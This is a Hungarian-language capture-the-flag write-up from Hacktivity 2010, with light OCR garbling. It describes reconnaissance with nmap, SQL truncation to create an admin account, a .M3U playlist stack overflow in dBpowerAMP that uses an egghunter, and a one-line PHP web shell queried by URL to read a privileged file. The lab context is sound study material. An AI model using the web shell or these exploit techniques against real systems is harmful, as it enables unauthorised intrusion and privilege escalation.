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1. Bevezeto

Az ismertetésre keriilé 1épéssorozat egy lehetséges modja a Hacktivity 2010 rendezvényen Cap-
ture the Flag néven meghirdetett verseny Baby Sister nevii gépén felhasznal6i hozzaférés szer-
zésének, majd a privilégium rendszeradminisztratori szintre emelésének.

A verseny soran a résztvev6k szamara mindossze az az informacio allt rendelkezésre, hogy
a célpont az altaluk fizikailag is elérhet6 halézaton egy megadott cimtartomanyban IP cimmel
rendelkezik. A felhasznaldi ill. adminisztratori hozzaférés megszerzését a megfelel6 felhasznald
sajat konyvtaraban talalhato proof . txt allomany tartalméanak ismeretével kellett igazolni.

E dokumentumban a 192.168.82.200-250 IP cim tartomanyt fogjuk hasznalni.

2. IP cim és szolgaltatasok felderitése

Az IP cim felderitéséhez az nmap eszkozt vessziik igénybe. Tovabbi paraméterek megadasa nél-
kiil az eszkoz végigpasztazza a kapott cimtartomanyt, majd ha az éppen vizsgalt cimrél valaszt
kap, egy lista alapjan végigprobalgatja a leggyakrabban elérhet6 szolgaltatasokat. A program ki-
menetébdl az olvashatosag kedvéért kihagytuk a tartomanyban talalhatd, tobbi gépre vonatkozd
adatokat.

Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-01 17:27
CET

Interesting ports on 192.168.82.231:

Not shown: 9995 closed ports

PORT STATE SERVICE VERSION

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

3306/tcp filtered mysql

8080/tcp open http Apache httpd 2.2.11 ((Win32)
PHP/5.3.0)

Service Info: 0S: Windows

Lathato, hogy a 192.168.82.231 cimen elérhet6 gép 8080-as TCP portjan egy PHP tamogatassal
futé Apache HTTP kisztolgalo figyel. Bongészével megnyitva a cimet a kovetkezé weboldal tlinik
fel:
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|1e]] http://192.168.82.231:8080/

6] Hacktivity 2010 - Capture the FL...| 4

Login

Usernam: ]
Password: |

Kildés

Registration

Username: ]
Password: ]

Kiildés

Az oldal szabad regisztraciot tesz lehet6vé, azonban egy véletlenszer(ien valasztott felhaszna-
lonévvel torténd belépés esetén a ,,DF feature is only available for admin” hibaiizenetet kapjuk,
amibdl arra kovetkeztethetiink, hogy az admin nevi felhasznaloval kell bejelentkezniink a to-
vabblépéshez. Amennyiben az admin felhasznal6 regisztraciéjaval probalkozunk, hibaiizenetet
kapunk, miszerint ilyen felhasznalé mar létezik a rendszerben.

Az autentikacié nem keriilhet6 meg SQL injection, XPath injection vagy hasonlé tamadassal,
az admin felhasznal¢ jelszava belathat6 id6n beliil nem talalhato ki szotar alapu vagy brute-force

modszerekkel.

3. Felhasznaldi szinti hozzaférés megszerzése

A webalkalmazas SQL truncationnel tamadhato, azaz regisztraciokor a vartnal hosszabb,
whitespace-szel és tetszéleges nyomtathat6 karaktersorozattal végz6d6 felhasznalonevet meg-
adva létrehozhat6 egy admin nevii felhasznalo. Ezzel bejelentkezve a hibatizenet helyett egy 1j
trlap jelenik meg, melyen keresztiil .M3U fajlok tolthet6ek fel a kiszolgalora. Egy .M3U playlist
feltoltésekor a webalkalmazas valasziizenetében kozli, hogy a fajl 5 percen belil lejatszasra kertil.

File Edit View History Bookmarks Tools Help

@ @ v & @ {2 [[e]htpy192.168.82.231:8080/
ls] Hacktivity 2010 - Capture the Fl...| &

Logout

Login

Usernam:
Password: ]
Klldés

Registration

Username:
Password:

Kildés
Welcome admin!

M3U file to play: Tall6zas... | Kiildés

Powered by dBpowerAMP-r2

A kiszolgal6 konyvtarainak OWASP DirBusterrel torténd végigpasztazasaval két konyvtarat
talalunk:
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/uploads - 200 OK

/uploads/player.exe

/uploads/Windows _XP_Professional _SP3_...-UPGRAYEDD.torrent
/temp - 403 Forbidden

A /uploads konyvtar nem tartalmaz index allomanyt, ezért a benne talalhato fajlokat lis-
tazza a webszerver. A player.exe allomany a dBPowerAmp zenelejatszé alkalmazas telepit6-
készlete, a .torrent fajl pedig egy Windows XP SP3 telepitékészlet letoltésére alkalmas. Feltéte-
lezhetd, hogy a dBPowerAmp alkalmazas fogja megnyitni a feltoltott fajlokat.

A zenelejatszora tobb nyilvanos proof-of-concept exploit is elérheté az interneten, melyek
a .M3U fajlok feldogozasi hibait hasznaljak ki. Ezek kozil egyik sem hasznalhaté modositas
nélkiil, azonban az kideriil bel6liik, hogy a rosszul formazott lejatszolistak illetve a jol formazott
listakban elhelyezett hosszu fajlbejegyzések is veremtulcsordulast okozhatnak. Az alabbiakban a
masodik eset kihasznalasa kertl ismertetésre.

A dBPowerAmp telepitése, majd debuggerben torténd futtatasa utan kideriil, hogy a shellkod
szamara viszonylag szlikos hely (kb. 250 byte) all rendelkezésre, valamint rovid tesztelés utan
nyilvanval6va valik, hogy a NULL byte, valamint a CR és LF karakterek tiltottak. Az EDI regisz-
ter értéke a veremtulcsordulast okozo sor elejének kornyékére mutat, de a sor hossza, valamint a
program el6z6 futasai is befolyasoljak a mutat6 és a sor kezdete kozotti eltolas mértékét, igy mu-
szaj NOP csuszdat hasznalni a shellkod el6tt, ami tovabb csokkenti a rendelkezésre allo helyet.
Erdemes tehat egghuntert alkalmazni, igy egy hosszi NOP-cstiszdaval igen megbizhaté exploi-
tot kapunk. A valddi shellkodot egy elz6 File bejegyzésben helyezhetjiik el, gy, hogy még ne
okozzon tilcsordulast.

Az igy létrejové .M3U f4jl felépitése igy az alabbi lesz:

[playlist]

NumberOfEntries=2

Filel=<egg><shellcode>

File2=<NOP sled><egghunter ><RET (jmp EDI)>

Most mar elegend6 hely all rendelkezésre példaul egy Metasploit Frameworkkel generalt
tobbszintl reverse shell vagy egy parancsfuttatast végrehajto kod beillesztésére.

A fajlt a webalkalmazasba feltoltve 5 percen belil lefut az altalunk valasztott kod, mellyel
célszerlien egy interaktiv parancssort nyithatunk a timado gép felé.

4. Rendszergazdai jogosultsag megszerzése

A zenelejatsz6 folyamat korlatozott jogkorrel fut, igy nem olvashat6 ki az adminisztrator
felhasznal6 (S2) asztalan talalhaté proof .txt allomany. A Metasploit Framework Meterpre-
ter payloadjanak jogosultsagkiterjesztésre altalaban jol hasznalhat6 getsystem parancsa a rend-
szeren nem miikodik, mivel az un. KiTrap0d hiba ebben az operaciésrendszer-valtozatban mar
javitasra kertlt.

A jogosultsagkiterjesztésre adodo egyik lehet6ség egy PHP shell létrehozasa az Apache
WWW-gyokerében, mivel a webszerver folyamata a LOCAL SYSTEM jogosultsagaival fut. Az
itt talalhato konyvtarak koziil a temp irhaté a dBPowerAmp jogkorével is.
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Egy PHP shell tartalma lehet példaul:

<?php system($_GET[’p’1); 7>

Ekkor a bongézében a kovetkezé6 URL-t megadva megkapjuk a proof . txt tartalmat:

http://192.168.82.231/temp/shell.php?p=type’%20c:\docume“1\s2
\desktop\proof .txt

5. Video

A palya megoldasarol késziilt vide6 megtekinthet6 a kovetkezé cimen:
http://silentsignal.hu/docs/hacktivity_2010_solution2.html
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